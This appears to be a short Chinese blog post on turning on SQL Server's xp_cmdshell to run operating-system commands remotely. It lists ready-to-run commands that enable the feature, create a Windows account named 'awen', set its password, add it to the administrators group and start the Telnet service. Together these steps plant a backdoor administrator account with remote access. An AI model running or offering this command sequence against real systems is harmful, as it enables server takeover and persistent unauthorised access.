本文介绍如何通过配置SQL Server的xp_cmdshell存储过程实现远程命令执行，并演示了具体的命令执行流程，包括查看系统目录、添加Windows用户、设置用户权限等。
--打开xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去，
添加windows用户：
xp_cmdshell ‘net user awen /add‘;
设置好密码：
xp_cmdshell ‘net user awen password‘;
提升到管理员：
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务：
xp_cmdshell ‘net start tlntsvr‘
扫一扫
414
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
